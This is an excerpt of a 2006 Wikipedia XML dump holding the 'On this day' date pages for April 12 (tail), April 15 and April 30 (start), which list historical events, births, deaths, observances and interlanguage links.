*[[1902]] - [[Marie Alfred Cornu]], French physicist (b. [[1842]])
*[[1912]] - [[Clara Barton]], American nurse and Red Cross advocate (b. [[1821]])
*[[1938]] - [[Feodor Chaliapin]], Russian bass (b. [[1873]])
*[[1945]] - [[Franklin D. Roosevelt]], 32nd [[President of the United States]] (b. [[1882]])
*[[1962]] - [[Sir Mokshagundam Visvesvaraya]], Indian politician and engineer (b. [[1861]])
*[[1971]] - [[Igor Tamm]], Russian physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1895]])
*1971 - [[Ed Lafitte]], American baseball player (b. [[1871]])
*[[1975]] - [[Josephine Baker]], American dancer (b. [[1906]])
*[[1980]] - [[Clark McConachy]], New Zealand billiards and snooker player (b. [[1895]])
*1980 - [[William R. Tolbert, Jr.]], [[President of Liberia]] (b. [[1913]])
*[[1981]] - [[Joe Louis]], American boxer (b. [[1914]])
*[[1986]] - [[Valentin Kataev]], Russian writer (b. [[1897]])
*[[1988]] - [[Alan Paton]], South African novelist (b. [[1903]])
*[[1989]] - [[Gerald Flood]], British actor (b. [[1927]])
*1989 - [[Abbie Hoffman]], American radical leader (b. [[1936]])
*1989 - [[Sugar Ray Robinson]], American boxer (b. [[1921]])
*[[1997]] - [[George Wald]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1903]])
*[[1999]] - [[Boxcar Willie]], American singer (b. [[1931]])
*[[2003]] - [[Cecil H. Green]], American manufacturer (b. [[1900]])

==Holidays and observances==
*The [[Rome|Roman]] holiday of [[Cerealia]] begins.
*[[Yuri's Night]], an international celebration of the first human in space, [[Yuri Gagarin]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/12 BBC: On This Day]
* [http://www.tnl.net/when/4/12 Today in History: April 12]

----
From &quot;Lines in Praise of a Date Made Praiseworthy Solely by Something Very Nice That Happened to It&quot;, by [[Ogden Nash]]:

:&quot;As through the calendar I delve
:I pause to rejoice in April twelve. 
:Yea, be I in sickness or be I in health
:My favorite date is April twealth.
:...&quot;

----

[[April 11]] - [[April 13]] - [[March 12]] - [[May 12]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:12 April]]
[[ar:12 ابريل]]
[[an:12 d'abril]]
[[ast:12 d'abril]]
[[bg:12 април]]
[[be:12 красавіка]]
[[bs:12. april]]
[[ca:12 d'abril]]
[[ceb:Abril 12]]
[[cv:Ака, 12]]
[[co:12 d'aprile]]
[[cs:12. duben]]
[[cy:12 Ebrill]]
[[da:12. april]]
[[de:12. April]]
[[et:12. aprill]]
[[el:12 Απριλίου]]
[[es:12 de abril]]
[[eo:12-a de aprilo]]
[[eu:Apirilaren 12]]
[[fo:12. apríl]]
[[fr:12 avril]]
[[fy:12 april]]
[[ga:12 Aibreán]]
[[gl:12 de abril]]
[[ko:4월 12일]]
[[hr:12. travnja]]
[[io:12 di aprilo]]
[[id:12 April]]
[[ia:12 de april]]
[[ie:12 april]]
[[is:12. apríl]]
[[it:12 aprile]]
[[he:12 באפריל]]
[[jv:12 April]]
[[ka:12 აპრილი]]
[[csb:12 łżëkwiôta]]
[[ku:12'ê avrêlê]]
[[lt:Balandžio 12]]
[[lb:12. Abrëll]]
[[li:12 april]]
[[hu:Április 12]]
[[mk:12 април]]
[[ms:12 April]]
[[nap:12 'e abbrile]]
[[nl:12 april]]
[[ja:4月12日]]
[[no:12. april]]
[[nn:12. april]]
[[oc:12 d'abril]]
[[pl:12 kwietnia]]
[[pt:12 de Abril]]
[[ro:12 aprilie]]
[[ru:12 апреля]]
[[se:Cuoŋománu 12.]]
[[sco:12 Aprile]]
[[sq:12 Prill]]
[[scn:12 di aprili]]
[[simple:April 12]]
[[sk:12. apríl]]
[[sl:12. april]]
[[sr:12. април]]
[[fi:12. huhtikuuta]]
[[sv:12 april]]
[[tl:Abril 12]]
[[tt:12. Äpril]]
[[te:ఏప్రిల్ 12]]
[[th:12 เมษายน]]
[[vi:12 tháng 4]]
[[tr:12 Nisan]]
[[uk:12 квітня]]
[[ur:12 اپریل]]
[[wa:12 d' avri]]
[[war:Abril 12]]
[[zh:4月12日]]
[[pam:Abril 12]]</text>
    </revision>
  </page>
  <page>
    <title>April 15</title>
    <id>1010</id>
    <revision>
      <id>42118985</id>
      <timestamp>2006-03-03T23:13:46Z</timestamp>
      <contributor>
        <username>Nigosh</username>
        <id>221949</id>
      </contributor>
      <comment>rm redlink</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=15}}
|}
'''April 15''' is the 105th day of the year in the [[Gregorian calendar]] (106th in [[leap year]]s). There are 260 days remaining.
==Events==
*[[1450]] - [[Battle of Formigny]]; Toward the end of the [[Hundred Years' War]], the [[France|French]] attack and nearly annihilate [[England|English]] forces, ending English domination in northern France.
*[[1632]] - [[Battle of Rain]]; [[Sweden|Swedes]] under [[Gustavus Adolphus of Sweden|Gustavus Adolphus]] defeat the [[Holy Roman Empire]] during the [[Thirty Years' War]].
*[[1738]] - Premiere in [[London]] of [[Serse]], an [[Italy|Italian]] [[opera]] by[[George Frideric Handel]].
*[[1755]] - [[Samuel Johnson]]'s ''[[A Dictionary of the English Language]]'' published in London.
*[[1783]] - Preliminary articles of peace ending [[Revolutionary War]] ratified. 
*[[1802]] - [[William Wordsworth]] and his sister, [[Dorothy Wordsworth|Dorothy]] come across a &quot;long belt&quot; of [[daffodil]]s, inspiring the former to pen ''[[I Wandered Lonely as a Cloud]]''.
*[[1865]] - [[Abraham Lincoln]] dies after being shot the previous evening by [[John Wilkes Booth]].
* 1865 - [[Andrew Johnson]] becomes the 17th [[President of the United States]].
*[[1892]] - The [[General Electric Company]] is formed through the merger of the Edison General Electric Company and the Thomson-Houston Company.
*[[1912]] - The British passenger liner [[RMS Titanic|RMS ''Titanic'']] sinks at about 2:20 a.m. after hitting an iceberg in the North Atlantic almost three hours earlier.
*[[1915]] - The [[Armenian Genocide]] began when the [[Ottoman Empire]] undertook the systematic annihilation of [[Armenian people|Armenian]] intellectuals and entrepreneurs within the city of [[Constantinople]] and later the entire Armenian population of the Empire.
*[[1920]] - [[Anarchism|Anarchist]]s [[Sacco and Vanzetti]] allegedly murder two security guards while robbing a shoe store.
*[[1923]] - [[Insulin]] first became generally available for use by [[diabetes mellitus|diabetics]].
*[[1924]] - [[Rand McNally]] publishes its first [[road atlas]].
*[[1927]] - [[Douglas Fairbanks]], [[Mary Pickford]] and [[Norma Talmadge|Norma]] and [[Constance Talmadge]] become the first celebrities to leave their footprints in cement at [[Grauman's Chinese Theater]] in [[Hollywood]].
*[[1940]] - The [[Allies]] start their attack on the [[Norway|Norwegian]] town of [[Narvik]] which was occupied by [[Nazi Germany]].
*[[1942]] - [[George Cross]] awarded to &quot;to the island fortress of [[Malta]] - its people and defenders&quot; by [[George VI of the United Kingdom|King George VI]].
*[[1945]] - The [[Bergen-Belsen concentration camp|Bergen-Belsen]] [[concentration camp]] is liberated.
*[[1947]] - [[Jackie Robinson]] debuts for the [[Los Angeles Dodgers|Brooklyn Dodgers]] [[baseball]] team, breaking that sport's color line.
*[[1955]] - The first [[McDonald's]] restaurant opens in [[Des Plaines, Illinois]].
*[[1983]] - [[Tokyo Disneyland]] opens.
*[[1985]] - [[Marvin Hagler]] defeats [[Thomas Hearns]] by a knockout in round three to retain [[boxing]]'s world [[Middleweight]] championship in a fight nicknamed ''[[The War (boxing)|The War]]''.
*[[1989]] - [[Hillsborough disaster]]: A human [[stampede]] occurs at [[Hillsborough (stadium)|Hillsborough]], a football stadium in [[Sheffield, England]], resulting in the loss of 96 lives.
* 1989 - Upon [[Hu Yaobang]]'s death, the [[Tiananmen Square protests of 1989]] begin in the [[People's Republic of China]].
*[[1994]] - Representatives of 124 countries and the [[European Communities]] sign the [[Marrakesh Agreement]]s revising the [[General Agreement on Tariffs and Trade]] and setting up the [[World Trade Organization]] (effective [[January 1]] [[1995]]).
*[[1997]] - Fire sweeps through a campsite of [[Muslim]]s making the [[Hajj]] [[pilgrimage]]; the official death toll is 343.
*[[2002]] - An [[Air China]] [[Boeing 767]]-200, [[flight CA129]] crashes into hillside during heavy rain and fog near [[Pusan]], [[South Korea]], killing 128.

==Births==
*[[1452]] - [[Leonardo da Vinci]], Italian artist (d. [[1519]])
*[[1489]] - [[Sinan]], Ottoman architect (d. [[1588]])
*[[1552]] - [[Pietro Cataldi]], Italian mathematician (d. [[1626]])
*[[1580]] - [[George Calvert, 1st Baron Baltimore]], English politician and colonizer
*[[1588]] - [[Claudius Salmasius]], French classical scholar (d. [[1653]])
*[[1641]] - [[Robert Sibbald]], Scottish physician and antiquarian (d. [[1722]])
*[[1642]] - [[Suleiman II]], [[Ottoman Sultan]] (d. [[1691]])
*[[1646]] - King [[Christian V of Denmark]] (d. [[1699]])
*[[1684]] - [[Catherine I of Russia]] (d. [[1727]])
*[[1688]] - [[Johann Friedrich Fasch]], German composer (d. [[1758]])
*[[1707]] - [[Leonhard Euler]], Swiss mathematician (d. [[1783]])
*[[1710]] - [[William Cullen]], Scottish physician and chemist (d. [[1790]])
*[[1721]] - [[Prince William Augustus, Duke of Cumberland]], English military leader (d. [[1765]])
*[[1772]] - [[Étienne Geoffroy Saint-Hilaire]], French naturalist (d. [[1844]])
*[[1793]] - [[Friedrich Georg Wilhelm von Struve]], German astronomer (d. [[1864]])
*[[1794]] - [[Jean Pierre Flourens]], French physiologist (d. [[1867]])
*[[1800]] - [[James Clark Ross]], English explorer (d. [[1862]])
*[[1809]] - [[Hermann Grassmann]], German mathematician and physicist (d. [[1877]])
*[[1832]] - [[Wilhelm Busch]], German poet and artist (d. [[1908]])
*[[1843]] - [[Henry James]], American author (d. [[1916]])
*[[1858]] - [[Émile Durkheim]], French sociologist (d. [[1917]])
*[[1861]] - [[Bliss Carman]], Canadian poet (d. [[1929]])
*[[1874]] - [[Johannes Stark]], German physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1957]])
*[[1878]] - [[Robert Walser (writer)|Robert Walser]], Swiss writer (d. [[1956]])
*[[1879]] - [[Melville Henry Cane]], American lawyer and poet (d. [[1980]])
*[[1883]] - [[Stanley Bruce]], eighth [[Prime Minister of Australia]] (d. [[1967]])
*[[1886]] - [[Nikolay Gumilyov]], Russian poet (d. [[1921]])
*[[1889]] - [[Thomas Hart Benton (painter)|Thomas Hart Benton]], American muralist (d. [[1975]])
*  1889   - [[A. Philip Randolph]], American activist (d. [[1979]])
*[[1894]] - [[Bessie Smith]], American blues singer (d. [[1937]])
*[[1895]] - [[Clark McConachy]], New Zealand billiards and snooker player (d. [[1980]])
*[[1896]] - [[Nikolay Nikolayevich Semyonov]], Russian chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1986]])
*[[1901]] - [[Joe Davis]], English snooker player (d. [[1978]])
*[[1902]] - [[Fernando Pessa]], Portuguese journalist (d. [[2002]])
*[[1907]] - [[Nikolaas Tinbergen]], Dutch ornithologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1988]])
*[[1912]] - [[Kim Il Sung]], [[President of North Korea]] (d. [[1994]])
*[[1916]] - [[Alfred S. Bloomingdale]], American businessman (d. [[1982]])
*[[1917]] - [[Hans Conried]], American actor (d. [[1982]])
*[[1920]] - [[Richard von Weizacker|Richard von Weizäcker]], [[President of Germany]]
*[[1921]] - [[Georgi Beregovoi]], cosmonaut (d. [[1995]])
*[[1922]] - [[Michael Ansara]], Syrian-American actor
*  1922   - [[Harold Washington]], Mayor of Chicago (d. [[1987]])
*[[1924]] - Sir [[Neville Marriner]], English conductor and violinist
*[[1927]] - [[Robert Mills (physicist)|Robert Mills]], American physicist (d. [[1999]])
*[[1930]] - [[Vigdis Finnbogadottir|Vigdís Finnbogadóttir]], [[President of Iceland]]
*[[1933]] - [[Roy Clark]], American musician
*  1933 -   [[Elizabeth Montgomery]], American actress (d. [[1995]])
*  1933 -   [[Boris and Arkady Strugatsky|Boris Strugatsky]], Russian author
*[[1939]] - [[Claudia Cardinale]], Tunisian-born actress
*[[1940]] - [[Jeffrey Archer, Baron Archer of Weston-super-Mare|Jeffrey Archer]], British author and Member of Parliament
*  1940   - [[Robert Walker Jr.]], American actor
*[[1942]] - [[Francis Xavier Dilorenzo|Francis X. DiLorenzo]], American Catholic prelate
*1942 - [[Walt Hazzard]], American basketball player
*[[1944]] - [[Dzhokhar Dudaev]], Chechen leader (d. [[1996]])
*1944 - [[Dave Edmunds]], Welsh musician
*[[1947]] - [[Lois Chiles]], American actress
*1947 - [[Mike Chapman (record producer)|Mike Chapman]], songwriter (with [[Nicky Chinn]]) and producer ([[Suzi Quatro]], [[Sweet (band)|Sweet]], [[Blondie]])
*[[1948]] - [[Michael Kamen]], American composer (d. [[2003]])
*[[1949]] - [[Tonio K]], American singer
*1949 - [[Alla Pugacheva]], Russian singer
*[[1950]] - [[Amy Wright]], American actress
*[[1951]] - [[Heloise (columnist)|Heloise]], American newspaper columnist
*[[1954]] - [[Seka]], American actress
*[[1955]] - [[Dodi Al-Fayed]], Egyptian businessman (d. [[1997]])
*[[1957]] - [[Evelyn Ashford]], American athlete
*[[1958]] - [[Benjamin Zephaniah]], British writer and musician
*[[1959]] - [[Emma Thompson]], English actress
*  1959   - [[Thomas F. Wilson]], American actor
*[[1960]] - [[Tony Jones]], English snooker player
*[[1962]] - [[Nawal El Moutawakel]], Morrocan hurdler
*[[1963]] - [[Bobby Pepper]], American journalist
*[[1965]] - [[Linda Perry]], American musician
*[[1966]] - [[Samantha Fox]], English singer and model
*[[1967]] - [[Frankie Poullain]], British bassist ([[The Darkness]])
*1967 - [[Dara Torres]], American swimmer
*[[1968]] - [[Ed O'Brien]], British musician ([[Radiohead]])
*1968 - [[Stacey Williams]], American model
*[[1970]] - [[Flex Alexander]], American actor
*[[1972]] - [[Arturo Gatti]], Canadian boxer
*[[1974]] - [[Danny Pino]], American actor
*1974 - [[Josh Todd]], musician and singer ([[Buckcherry]])
*[[1977]] - [[Chandra Levy]], American Congressional intern (d. [[2001]])
*[[1980]] - [[Raúl López]], Spanish basketball player
*[[1981]] - [[Andrés d'Alessandro]], Argentine football player
*[[1983]] - [[Ilya Kovalchuk]], Russian hockey player
*[[1986]] - [[Quincy Owusu-Abeyie]], Dutch footballer
*[[1990]] - [[Emma Watson]], English actress
*[[1992]] - [[Amy Diamond]], Swedish pop singer

==Deaths==
*[[1053]] - [[Godwin, Earl of Wessex]]
*[[1220]] - [[Adolf of Altena]], Archbishop of Cologne
*[[1415]] - [[Manuel Chrysoloras]], Greek humanist
*[[1446]] - [[Filippo Brunelleschi]], Italian architect (b. [[1377]])
*[[1610]] - [[Robert Parsons]], English Jesuit priest (b. [[1546]])
*[[1621]] - [[John Carver]], first governor of Plymouth Colony
*[[1641]] - [[Domenico Zampieri]], Italian painter (b. [[1581]])
*[[1659]] - [[Simon Dach]], German poet (b. [[1605]])
*[[1704]] - [[Johann van Waveren Hudde]], Dutch mathematician (b. [[1628]])
*[[1719]] - [[Françoise d'Aubigné, marquise de Maintenon]], second wife of [[Louis XIV of France]] (b. [[1635]])
*[[1754]] - [[Jacopo Riccati]], Italian mathematician (b. [[1676]])
*[[1761]] - [[Archibald Campbell, 3rd Duke of Argyll]], Scottish politician (b. [[1682]])
*1761 - [[William Oldys]], English antiquarian and bibliographer (b. [[1696]])
*[[1764]] - [[Madame de Pompadour]], mistress of King [[Louis XIV of France]] (b. [[1721]])
*[[1765]] - [[Mikhail Lomonosov]], Russian scientist and writer (b. [[1711]])
*[[1788]] - [[Giuseppe Bonno]], Austrian composer (b. [[1711]])
*[[1793]] - [[Ignacije Szentmartony]], Croatian Jesuit missionary and geographer (b. [[1718]])
*[[1804]] - [[Charles Pichegru]], French general (strangled in prison) (b. [[1761]])
*[[1843]] - [[Noah Webster]], American lexicographer (b. [[1758]])
*[[1854]] - [[Arthur Aikin]], English chemist, mineralogist, and scientific writer (b. [[1773]]) 
*[[1865]] - [[Abraham Lincoln]], [[President of the United States]] (b. [[1809]])
*[[1888]] - [[Matthew Arnold]], English poet (b. [[1822]])
*1888 - [[Father Damien]], Belgian missionary (b. [[1840]])
*[[1898]] - [[Kepa Te Rangihiwinui]], Maori military leader
*[[1912]] - Victims of the [[RMS Titanic|RMS Titanic]]
**[[Edward Smith]], Captain of the Titanic (b. [[1850]])
**[[John Jacob Astor IV]], American businessman (b. [[1864]])
**[[Benjamin Guggenheim]], American businessman (b. [[1865]])
*[[1938]] - [[César Vallejo]], Peruvian poet (b. [[1892]])
*[[1942]] - [[Robert Musil]], German novelist (b. [[1880]])
*[[1949]] - [[Wallace Beery]], American actor (b. [[1885]])
*[[1962]] - [[Clara Blandick]], American actress (b. [[1881]])
*[[1964]] - [[Rachel Carson]], American biologist and author (b. [[1907]])
*[[1969]] - [[Victoria Eugenie of Battenberg]], Queen of Spain (b. [[1887]])
*[[1971]] - [[Dan Reeves (NFL Owner)|Dan Reeves]] - Owner of the [[St. Louis Rams|Cleveland/Los Angeles Rams]] (b. [[1912]])
*[[1974]] - [[Giovanni D'Anzi]], Italian songwriter (b.[[1906]])
*[[1975]] - [[Richard Conte]], American actor (b. [[1910]])
*[[1980]] - [[Raymond Bailey]], American actor (b. [[1904]])
*1980 - [[Jean-Paul Sartre]], French philosopher and writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (declined) (b. [[1905]])
*[[1982]] - [[Arthur Lowe]], British actor (b. [[1915]])
*[[1984]] - [[Tommy Cooper]], Welsh comedy magician (b. [[1921]])
*[[1986]] - [[Jean Genet]], French author (b. [[1910]])
*[[1988]] - [[Kenneth Williams]], English actor and comedian (b. [[1926]])
*1988 - [[Tony Mann]], Australian footballer
*[[1989]] - [[Hu Yaobang]], leader of China (b. [[1915]])
*[[1990]] - [[Greta Garbo]], Swedish actress (b. [[1905]])
*[[1993]] - [[John Tuzo Wilson]], Canadian geologist (b. [[1908]])
*1993 - [[Leslie Charteris]], Singapore-born author (b. [[1907]])
*[[1994]] - [[John Curry]], English figure skater (b. [[1949]])
*[[1998]] - [[Pol Pot]], Cambodian dictator (b. [[1925]])
*[[2000]] - [[Edward Gorey]], American illustrator (b. [[1925]])
*[[2001]] - [[Joey Ramone]], American musician and singer ([[The Ramones]]) (b. [[1951]])
*[[2002]] - [[Damon Knight]], author (b. [[1922]])
*2002 - [[Byron White|Byron &quot;Whizzer&quot; White]], American football player and U.S. Supreme Court Justice (b. [[1917]])
*[[2003]] - [[Erin Fleming]], Canadian actress (b. [[1941]])

==Holidays and observances==
*In the United States, today is the official deadline for filing [[tax return]]s: all forms mailed to the [[Internal Revenue Service|IRS]] must be [[postmark]]ed no later than today, so [[post office]]s across the stay open until midnight to accommodate procrastinators (or those who owe tax and want to wait as late as possible to pay). (If this day falls on the weekend, as in 2006, the following Monday becomes the deadline.) 
*Ancient [[Latvia]] &amp;mdash; [[Tipsa Diena]] was observed
*[[Arirang Festival]] is held in [[North Korea]] to commemorate [[Kim Il-sung]]'s birth
*[[Father Damien|Father Damien Day]] &amp;mdash; celebrated annually in [[Hawaii|Hawai'i]]
*[[Feast day]] of [[Saint Paternus]]
*[[Roman Empire]] &amp;mdash; the [[Fordicia]] was celebrated in honor of [[Gaia (mythology)|Terra]]
*[[Major League Baseball]] celebrates &quot;[[Jackie Robinson]] Day&quot; each April 15 in all MLB ballparks

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/15 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050415.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Apr&amp;day=15 On This Day in Canada]
----

[[April 14]] - [[April 16]] - [[March 15]] - [[May 15]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:15 April]]
[[an:15 d'abril]]
[[ar:15 إبريل]]
[[ast:15 d'abril]]
[[be:15 красавіка]]
[[bg:15 април]]
[[bs:15. april]]
[[ca:15 d'abril]]
[[ceb:Abril 15]]
[[co:15 d'aprile]]
[[cs:15. duben]]
[[csb:15 łżëkwiôta]]
[[cv:Ака, 15]]
[[cy:15 Ebrill]]
[[da:15. april]]
[[de:15. April]]
[[el:15 Απριλίου]]
[[eo:15-a de aprilo]]
[[es:15 de abril]]
[[et:15. aprill]]
[[eu:Apirilaren 15]]
[[fi:15. huhtikuuta]]
[[fo:15. apríl]]
[[fr:15 avril]]
[[fy:15 april]]
[[ga:15 Aibreán]]
[[gl:15 de abril]]
[[he:15 באפריל]]
[[hr:15. travnja]]
[[hu:Április 15]]
[[ia:15 de april]]
[[id:15 April]]
[[ie:15 april]]
[[io:15 di aprilo]]
[[is:15. apríl]]
[[it:15 aprile]]
[[ja:4月15日]]
[[jv:15 April]]
[[ka:15 აპრილი]]
[[ko:4월 15일]]
[[ku:15'ê avrêlê]]
[[lb:15. Abrëll]]
[[li:15 april]]
[[lt:Balandžio 15]]
[[mk:15 април]]
[[ms:15 April]]
[[nap:15 'e abbrile]]
[[nl:15 april]]
[[nn:15. april]]
[[no:15. april]]
[[oc:15 d'abril]]
[[pam:Abril 15]]
[[pl:15 kwietnia]]
[[pt:15 de Abril]]
[[ro:15 aprilie]]
[[ru:15 апреля]]
[[scn:15 di aprili]]
[[sco:15 Aprile]]
[[se:Cuoŋománu 15.]]
[[simple:April 15]]
[[sk:15. apríl]]
[[sl:15. april]]
[[sq:15 Prill]]
[[sr:15. април]]
[[sv:15 april]]
[[te:ఏప్రిల్ 15]]
[[th:15 เมษายน]]
[[tl:Abril 15]]
[[tr:15 Nisan]]
[[tt:15. Äpril]]
[[uk:15 квітня]]
[[ur:15 اپریل]]
[[vi:15 tháng 4]]
[[wa:15 d' avri]]
[[war:Abril 15]]
[[zh:4月15日]]</text>
    </revision>
  </page>
  <page>
    <title>April 30</title>
    <id>1011</id>
    <revision>
      <id>41950790</id>
      <timestamp>2006-03-02T21:04:29Z</timestamp>
      <contributor>
        <username>Durova</username>
        <id>521374</id>
      </contributor>
      <comment>/* Events */ adding</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=30}}
|}
'''April 30''' is the 120th day of the year in the [[Gregorian calendar]] (121st in [[leap year]]s), with 245 days remaining, as the last day in April.
==Events==
*[[313]] - [[Roman emperor]] [[Licinius]] unifies the entire [[Eastern Roman Empire]] under his rule.
*[[711]] - [[Moors|Moorish]] troops led by [[Tariq ibn-Ziyad]] land at [[Gibraltar]] to begin their [[invasion]] of the [[Iberian Peninsula]] ([[Al-Andalus]]).
*[[1429]] - [[Joan of Arc]] arrives to relieve the [[Siege of Orléans]].
*[[1483]] - [[Orbit]]al calculations suggest that on this day [[Pluto]] moved inside [[Neptune]]'s orbit, making Neptune the furthest planet from the Sun until [[July 23]], [[1503]].
*[[1492]] - [[Spain]] gives [[Christopher Columbus]] his commission of exploration.
*[[1671]] - [[Petar Zrinski]], the [[Croatia]]n [[Ban (title)|Ban]] from the [[Zrinski]] family, is [[capital punishment|executed]].
* [[1794]] - The [[Battle of Boulou (1794)|Battle of Boulou]] is fought, in which [[France|French]] forces defeated the [[Spain|Spanish]] under General Union.
*[[1789]] - On the balcony of [[Federal Hall]] on [[Wall Street]] in [[New York City]], [[George Washington]] takes the oath of office to become the first elected [[President of the United States]].
*[[1803]] - [[Louisiana Purchase]]: The [[United States]] purchases the [[Louisiana]] Territory from [[France]] for $15 million, more than doubling &amp;ndash; overnight &amp;ndash; the size of the young nation.
*[[1812]] - The [[Territory of Orleans]] becomes the 18th [[U.S. state]] under the name [[Louisiana]].
*[[1838]] - [[Nicaragua]] declares independence from the [[Central American Federation]]
*[[1863]] - [[Mexican]] forces attacked the [[French Foreign Legion]] in Hacienda Camarón,[[Mexico]].
*[[1894]] - [[Coxey's Army]] reaches [[Washington, D.C.]] to protest the [[unemployment]] caused by the [[Panic of 1893]]. 
*[[1900]] - [[Hawaii]] becomes a territory of the [[United States]], with [[Sanford B. Dole]] as governor.
*  1900   - [[Casey Jones]] dies attempting to save the runaway train [[Cannonball Express]]. 
*[[1904]] - The [[Louisiana Purchase Exposition]] [[World's Fair]] opens in [[Saint Louis, Missouri]].
*[[1920]] - [[Peru]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1925]] - Automaker [[Dodge Brothers, Inc]] is sold to [[Dillon, Read &amp; Company]] for [[USD]] $146 million plus $50 million for charity.
*[[1927]] - The [[Federal Industrial Institute for Women]], opens in [[Alderson, West Virginia]], as the first women's federal prison in the [[United States]]. 
*[[1938]] - The [[animated cartoon]] short ''[[Porky's Hare Hunt]]'' debuts in movie theaters, introducing [[Bugs Bunny]]. 
*[[1939]] - [[Franklin D. Roosevelt]] becomes the first [[President of the United States]] to appear on [[television]].
*  1939   - The [[1939 New York World's Fair]] opens.
*[[1943]] - [[World War II]]: [[Operation Mincemeat]] &amp;ndash; The submarine [[HMS Seraph (P219)|HMS ''Seraph'']] surfaces in the [[Mediterranean Sea]] off the coast of [[Spain]] to deposit a dead man planted with false invasion plans and dressed as a British military intelligence officer. 
*[[1945]] - [[Adolf Hitler]] and [[Eva Braun]] commit suicide after being married for one day.
*[[1947]] - In [[Nevada]], the Boulder Dam is officially renamed [[Hoover Dam]] again. 
*[[1948]] - In [[Bogotá]], [[Colombia]], the [[Organization of American States]] is established.
*[[1966]] - [[Anton LaVey]] founds the [[Church of Satan]].
*[[1973]] - [[Watergate Scandal]]: President [[Richard Nixon]] announces that top [[White House]] aids [[H.R. Haldeman]], [[John Ehrlichman]], and others have resigned. 
*[[1975]] - Communist forces gains control of [[Saigon]].  The [[Vietnam War]] formally ends with the unconditional surrender of [[South Vietnam]]ese president [[Duong Van Minh]].
*[[1980]] - Accession of [[Beatrix of the Netherlands|Queen Beatrix of the Netherlands]].
*[[1983]] - [[Michael Jackson]]'s song &quot;[[Beat It]]&quot; hits number 1 on the [[Billboard magazine|Billboard]] music charts.
*[[1988]] - In [[Dublin]], [[Ireland]], [[Celine Dion|Céline Dion]] wins the thirty-third [[Eurovision Song Contest]] for [[Switzerland]] singing &quot;Ne partez pas sans moi&quot; (Don't leave without me).
*[[1991]] - A [[1991 Bangladesh cyclone|tropical cyclone]] hits [[Bangladesh]] killing an estimated 138,000 people. 
*[[1992]] - The last episode of the ''[[Cosby Show]]'' airs.
*[[1993]] - The [[World Wide Web]] was born at [[CERN]]
*[[1993]] - During a changeover at a [[tennis]] tournament in [[Hamburg, Germany]], [[Monica Seles]] is stabbed in the back by a deranged fan of rival [[Steffi Graf]]. Seles would not play competitively for more than two years after the incident.
*[[1994]] - In [[Dublin]], [[Ireland]], [[Paul Harrington]] &amp; [[Charlie McGettigan]] win the thirty-ninth [[Eurovision Song Contest]] for Ireland singing &quot;Rock'n'Roll Kids&quot;.
*[[1995]] - U.S. President [[Bill Clinton]] became the first U.S. President to visit [[Northern Ireland]].
*[[1997]] - [[Ellen DeGeneres]]'s character comes out of [[the closet]] on the sitcom [[Ellen (TV show)|Ellen]]. 
*[[1999]] - [[NATO]] membership expands by approving the admission of the [[Czech Republic]], [[Hungary]] and [[Poland]].
*1999 - [[Cambodia]] joins the [[Association of Southeast Asian Nations]] (ASEAN) bringing the total members to 10.
*1999 - [[Neo-nazi]] bomber [[David Copeland]] detonates his third bomb in front of the [[Admiral Duncan pub]] and is arrested the night after.
*2001 - [[Chandra Levy]], a former intern to [[California]] Congressman [[Gary Condit]], is last seen in [[Washington, D.C.]] 
*[[2002]] - A [[referendum]] in [[Pakistan]] overwhelmingly approves the Presidency  of [[Pervez Musharraf]] for another five years.
* 2002 - The law N26-РЗ &quot;On the [[Flag of Udmurtia|National Flag of the Udmurt Republic]]&quot; has appeared.
*[[2004]] - The last edition of [[National Public Radio|NPR]]'s ''[[Morning Edition]]'' with [[Bob Edwards]] as host airs.

==Births==
*[[1586]] - [[Saint Rose of Lima]], Peruvian saint (d. [[1617]])
*[[1602]] - [[William Lilly]], English astrologer (d. [[1681]])
*[[1623]] - [[François de Laval]], first bishop of New France (d. [[1708]])
*[[1651]] - [[Jean-Baptiste de la Salle]], French educational reformer (d. [[1719]])
*[[1662]] - Queen [[Mary II of England]] (d. [[1694]])
*[[1664]] - [[François Louis, Prince of Conti]], French general (d. [[1709]])
*[[1710]] - [[Johann Kaspar Basselet von La Rosée]], Bavarian general (d. [[1795]])
*[[1723]] - [[Mathurin Jacques Brisson]], French naturalist (d. [[1806]])
*[[1721]] - [[Roger Sherman]], American signer of the Declaration of Independence (d. [[1793]])
*[[1777]] - [[Carl Friedrich Gauss]], German mathematician, astronomer, and physicist (d. [[1855]])
*[[1829]] - [[Ferdinand von Hochstetter]], Austrian geologist (d. [[1884]])
*[[1857]] - [[Eugene Bleuler]], Swiss psychiatrist (d. [[1940]])
*[[1865]] - [[Max Nettlau]], German anarchist and historian (d. [[1944]])
*[[1870]] - [[Franz Lehar]], Austrian composer (d. [[1948]])
*[[1876]] - [[Orso Mario Corbino]], Italian physicist (d. [[1937]])
*[[1877]] - [[Alice B. Toklas]], American companion of [[Gertrude Stein]] (d. [[1967]])
*[[1883]] - [[Jaroslav Hasek|Jaroslav Ha&amp;#353;ek]], Czech novelist (d. [[1923]])
*[[1893]] - [[Joachim von Ribbentrop]], Nazi foreign minister (d. [[1946]])
*[[1901]] - [[Simon Kuznets]], Ukrainian-born economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner (d. [[1985]])
*[[1902]] - [[Theodore Schultz]], American economist, [[Nobel Prize in Economics|Nobel Prize]] laureate (d. [[1998]])
